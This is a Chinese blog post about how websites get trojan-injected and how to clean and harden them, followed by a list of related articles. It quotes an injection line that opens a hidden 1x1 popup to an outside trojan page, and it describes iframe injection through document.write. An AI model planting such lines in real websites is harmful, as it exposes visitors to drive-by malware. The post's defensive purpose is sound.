网站被挂马的处理办法以及预防措施

简介:

喜欢的朋友可以关注下。
相信很多的朋友都有遇见过,通过百度快照访问一个网站被跳转到另一个目标网站。

这就说明网站被劫持了,那么黑客为什么要劫持这些网站呢?黑客一般选择什么样的网站下手?下面我们就一起分析一下。

首先黑客一般都会选择信息类网站,购物网站等,因为这些网站的IP高,劫持这些网站能达到他们的引流目的。我们这来做一个假设,如果有100个用户准备访问A网站,但都被劫持到B网站了,那么只是会有10%的用户会对B网站产生兴趣,那么他们的引流目的就达到了,对于A网站而言,他们就损失了部分用户,这是他们不愿看见的,所以他们是很痛恨黑客的。

当然被黑客劫持的网站往往他们都会引流到一些菠菜类的网站,相信很多人看了都会有去搏一搏的心态,一玩不要紧,如果你的控制能力很差的话,那么你就深深的陷入了,这是一个吃人不吐骨头的,这里还是温馨的提醒大家 不要有赌博的心态,不说题外话了,下面我们就一起来看看所谓的木马。

首先,我们需要弄清楚黑客一般是通过哪些渠道来给网站挂木马的。

1.通过漏洞(例如一个软件的漏里,给你的服务器上传一些命令脚本)

2.破解你的服务器账号密码,创建子用户,任意上传脚本文件

这里我来例举一些常见的木马脚本命令:

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:
window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" >>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:


或者

document.write("

")
document.write("")
document.write("
")
还有这种方式


image

这个图大家都能看明白,这就黑客的攻击流程。

其次,当我们发现自己的网站被挂马了,改如何来做呢?

当你的网站文件不是很多时,那么你可以一个一个来查看,看见陌生的代码,这时你就需要注意了,有可能就是木马了。

那么如果你的文件有成千上万个,自己一个一个的看那不是要看到眼花,这里我给大家推荐一款免费的查找工具护卫神,下面我把工具分享给大家需要可以下载

https://download.csdn.net/download/dsn727455218/10592371

这里面,是有三款软件,其一就是木马查找工具,已经防篡改工具,及防攻击的

上面介绍的是用工具来防止被挂马,那么我们通过代码来如何实现呢,一起来看看

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

让JS木马的进程迅速中止

之间加入如下代码:

屏蔽script和iframe


单屏蔽script


通过添加一个代码来防止被被人挂马。

下面我就给大家分享一下如何做好服务器安全工作:

1.对项目文件增加读写权限

2.服务器的密码不要用什么root,admin,123456这些很容易被试出来的,相信很多人都是用这个密码吧。

3.服务器限制IP登录,一般登录服务器基本上都是那么两个人可以设置白名单,其他的一律禁止登录

4.不定期的维护等

5.当然如果你们公司有钱,也可买付费产品,他们能防止的很多,我看阿里云的安骑士专业版一年的费用都是好几千,还不算其他的一些产品,相信很多的小公司,都不愿出这个钱,所以大家还是努力做好自己的防护措施。

如有需要可以加我Q群【308742428】大家一起讨论技术。

后面会不定时为大家更新文章,敬请期待。

喜欢的朋友可以关注下。

相关文章
|
7月前
|
云安全 域名解析 安全
网站被攻击有什么办法呢?
网站为什么会遭遇DDoS攻击?德迅云安全SCDN如何有效防御DDoS攻击?
|
SQL 安全 前端开发
maccms网站被挂马 根源问题在于SQL注入远程代码漏洞
目前苹果CMS官方在不断的升级补丁,官方最新的漏洞补丁对于目前爆发的新漏洞没有任何效果。更新补丁的用户网站还是会遭受到挂马的攻击,很多客户因此找到我们SINE安全寻求网站安全技术上的支持,针对该漏洞我们有着独特的安全解决方案以及防止挂马攻击的防护,包括一些未公开的maccms POC漏洞都有修复补丁
877 0
maccms网站被挂马 根源问题在于SQL注入远程代码漏洞
|
4月前
|
存储 运维 监控
系统大面积无法访问,如何定位根源?
系统大面积无法访问,如何定位根源?
|
7月前
|
存储 安全 网络安全
怎么看服务器是中毒了还是被攻击?以及后续处理方案
怎么看服务器是中毒了还是被攻击?以及后续处理方案
|
7月前
|
存储 安全 网络安全
怎么处理网站的一些安全风险
为了防范这些安全隐患,网站维护人员应采取一系列安全措施,包括及时更新服务器系统安全漏洞补丁、加强服务器安全防护能力、制定有效的风险预警机制、加密数据、限制外来移动存储设备、管控上网行为等。此外,还应注意提高员工的安全意识和技能水平,增强法律保护意识。
|
SQL 安全 关系型数据库
卧槽,sql注入竟然把我们的系统搞挂了(上)
卧槽,sql注入竟然把我们的系统搞挂了(上)
卧槽,sql注入竟然把我们的系统搞挂了(上)
|
SQL 安全 关系型数据库
网站被黑客敲诈勒索的处理办法
我有个好兄弟也是做程序代码的,他前天突然跟我说他之前接的一个私活网站,突然被黑客入侵了,拿着数据库管企业老板要挟要钱,不给钱的话说要把数据全删了,因为我本身就是做网站漏洞修复的服务商,有安全漏洞的问题,好兄弟都会想到我,他很奇怪,因为用的mysql数据库,数据库3306那个端口没对外开放,怎么会被人把这个数据库入侵了,我一猜我就说那肯定是这个数据库被别人Sql注入漏洞攻击了。通过了解知道网站用的是PHP脚本开发的,因为目前PHP很多源码都是存在一些漏洞的。
495 0
网站被黑客敲诈勒索的处理办法
|
安全 算法 数据安全/隐私保护
关于网站被挂马的症状以及处理解决方法
如今绝大多数站长都在想着怎么建设外链,怎么发布网站内容,把自己网站的弄到首页或是前三位,网站安全其实也需要站长们注意,因为一旦网站安全出了问题,网站的排名也会受到很大的影响。下面就仔细分析几种关于网站安全的现象以及处理的方法。
504 0
关于网站被挂马的症状以及处理解决方法
|
SQL 存储 监控
卧槽,sql注入竟然把我们的系统搞挂了(下)
卧槽,sql注入竟然把我们的系统搞挂了(下)
|
安全 关系型数据库 MySQL
网站被攻击导致服务器CPU百分之百 无法访问的终极解决办法
公司的官方网站从春节前无缘无故就出现连接数据库异常的现象,由于以前也出现过,再加上没多久逢年过节,也就没有太在乎这个情况,仅仅试着重新启动了网站数据库。逢年过节的时候我发现了有一些不太对,网站数据库只有一打开没多久就宕掉。检查服务器里的资源,发现服务器的内存被占满,CPU达到百分之100就连远程连接都越来越巨慢至极,因此开展对该网站被攻击的问题解决。
485 0
网站被攻击导致服务器CPU百分之百 无法访问的终极解决办法